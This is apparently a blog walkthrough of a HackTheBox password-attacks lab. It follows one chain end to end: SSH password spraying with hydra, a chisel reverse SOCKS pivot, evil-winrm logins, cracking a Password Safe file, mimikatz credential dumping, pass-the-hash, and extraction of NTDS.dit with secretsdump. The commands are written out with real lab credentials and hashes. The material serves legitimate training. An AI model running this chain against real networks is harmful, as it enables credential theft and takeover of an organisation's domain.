HackTheBox - Password Attacks - Skill Assessment - Walkthrough
Skills Assessment
Betty Jayde works at Nexura LLC. We know she uses the password Texas123!@# on multiple websites, and we believe she may reuse it at work. Infiltrate Nexura's network and gain command execution on the domain controller. The following hosts are in-scope for this assessment:
Pivoting Primer
The internal hosts (JUMP01, FILE01, DC01) reside on a private subnet that is not directly accessible from our attack host. The only externally reachable system is DMZ01, which has a second interface connected to the internal network. This segmentation reflects a classic DMZ setup, where public-facing services are isolated from internal infrastructure.
To access these internal systems, we must first gain a foothold on DMZ01. From there, we can pivot — that is, route our traffic through the compromised host into the private network. This enables our tools to communicate with internal hosts as if they were directly accessible. After compromising the DMZ, refer to the module cheatsheet for the necessary commands to set up the pivot and continue your assessment.
Question 1
What is the NTLM hash of NEXURA\Administrator?
Starting with some nmap enumerations we find that only ssh on port 22 is open:
sudo nmap -p- --min-rate=10000 10.129.47.10
We are given a user with a password that she likes to use:
Texas123!@#
We just need to find out here username. So we can start creating a userlist for a password spraying attack on ssh
hydra -L userlist.txt -p 'Texas123!@#' ssh://10.129.47.10
We found her username: jbetty:Texas123!@#
And we can now ssh into the host
ssh jbetty@10.129.47.10
We could test if the same credentials work for the other hosts — but they didn’t.
Next we can read .bash_history since it is not pointed to /dev/null.
This reveals more credentials to us:
Since all other hosts are only reachable internally we can start with setting up chisel as a proxy:
└──╼ [★]$ wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gzgunzip chisel_1.10.1_linux_amd64.gz
└──╼ [★]$ gunzip chisel_1.10.1_linux_amd64.gz
└──╼ [★]$ mv chisel_1.10.1_linux_amd64 chisel
└──╼ [★]$ chmod +x chiselNow we can transfer chisel to our target.
From attacker:
└──╼ [★]$ python3 -m http.server 8008
Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...On victim:
jbetty@DMZ01:~$ wget http://10.10.14.207:8008/chisel
jbetty@DMZ01:~$ chmod +x chiselAnd don’t forget to change your /etc/proxychains.conf file
└──╼ [★]$ tail -5 /etc/proxychains.conf
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080Now you can start the proxy:
On attacker:
└──╼ [★]$ ./chisel server --reverse --port 8080On target:
./chisel client 10.10.14.207:8080 R:socksNow we can run another nmap scan again against FILE01. I decided tofilter for “important” ports such as rdp and winrm:
└──╼ [★]$ proxychains nmap -p 3389,5985,445,135 --min-rate=10000 -Pn -sT 172.16.119.10
However, hwilliam cannot connect to FILE01 using those credentials, so we can try another host
└──╼ [★]$ proxychains evil-winrm -i 172.16.119.7 -u hwilliam -p 'dealer-screwed-gym1'And indeed JUMP01 worked
Here we can also do some more enumeration such as what privileges we have and what groups we belong to.
*Evil-WinRM* PS C:\Users\hwilliam\Documents> whoami
nexura\hwilliam
*Evil-WinRM* PS C:\Users\hwilliam\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NEXURA\HR Group S-1-5-21-1333759777-277832620-2286231135-1110 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
*Evil-WinRM* PS C:\Users\hwilliam\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\hwilliam\Documents> After some more enumeration including searching for sensitive files I couldn’t find anything, so I decided to focus on smb (FILE01) now with the user hwilliam.
└──╼ [★]$ proxychains smbclient -L //172.16.119.10/ -U 'nexura\hwilliam'
proxychains smbclient //172.16.119.10/HR -U 'nexura\hwilliam'And we can successfully connect to the HR share with privileges.
Looking through the folders there is one file that looks interesting in the ARCHIVE folder and that is Employee-Passwords_OLD.psafe3
So we can download it to our attacker host and look into it.
smb: \Archive\> get Employee-Passwords_OLD.psafe3With .psafe files or Password Safe files you can create an encrypted username/password list and just set one Master Password for the file that you need to remember. This way you have a secured user:pass list.
Get th3V0!D’s stories in your inbox
Join Medium for free to get updates from this writer.
For us this means that we need the Master Password. We can use the tool pwsafe2john.py to get the hash for the Master Password and then try to brute force it using a tool such as John or Hashcat.
└──╼ [★]$ pwsafe2john.py Employee-Passwords_OLD.psafe3
Employee-Passwords_OLD:$pwsafe$*3*801e25992487ae60938723973f543abd7d1fab81f45da156194bc6e1976f8c59*262144*3e1d616a8f82a02514ed88cd37f1b6eab303d9a687c4d48fbe0c866775617978
└──╼ [★]$ john --wordlist=/usr/share/wordlists/rockyou.txt master_hash.txt
Master Password: michaeljackson
We can open the file using pwsafe
You can right click on each and select Copy Password to Clipboard.
After trying all the credentials we harvested against all hosts I got lucky with JUMP01 again
└──╼ [★]$ proxychains evil-winrm -i 172.16.119.7 -u bdavid -p 'caramel-cigars-reply1'
It appears bdavid is in the Administrators (Group owner) group and therefore has a lot more power and privileges than our previous user hwilliam in this host. This means we can now try dumping password hashes for logged on users on this host.
We need mimikatz now. If you are using HTB’s pwnbox you have it preinstalled:
└──╼ [★]$ locate mimikatz.exe
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe
└──╼ [★]$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .Transfer the file over to bdavid on JUMP01. If you are connected using evil-winrm:
upload mimikatz.exeotherwise you can upload the file by first uploading it to DMZ01 with jbetty and then uploading it to FILE01
On attacker:
└──╼ [★]$ python3 -m http.server 8008
Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...On DMZ01 (jbetty):
jbetty@DMZ01:~$ wget "http://10.10.14.207:8008/mimikatz.exe"jbetty@DMZ01:~$ python3 -m http.server 8008
Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...On FILE01:
Invoke-WebRequest "http://172.16.119.13:8008/mimikatz.exe" -OutFile C:\Users\bdavid\Documents\mimikatz.exeNext I ran mimikatz to dump all hashes on the host:
.\mimikatz.exe "privilege::debug sekurlsa::logonPasswords" exit
We successfully dumped stom’s NTLM hash. With that we can try connecting to other hosts.
└──╼ [★]$ proxychains evil-winrm -i 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764faFinally we are connected to the Domain Controller (DC01). And we are also part of the Domain Admins group.
I tried repeating the mimikatz process but I didn’t get any user hashes. Next I tried capturing the NTDS.dit database since we are part of the Domain Admins group.
vssadmin CREATE SHADOW /For=C:
mkdir C:\NTDS
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
cd C:\NTDS
download NTDS.dit
Be aware that I used HarddiskVolumeShadowCopy1 but depending on the run it could also be a different number for you, therefore pay attention to your vssadmin CREATE SHADOW output.
Next copy and download HKLM\system (registry hive — contains boot key)
reg.exe save hklm\system C:\system.save
download system.saveBack on the attacker host run impacket-secretsdump to dump the hashes
└──╼ [★]$ impacket-secretsdump -ntds NTDS.dit -system system.save LOCAL
I hope you enjoyed the Walkthrough
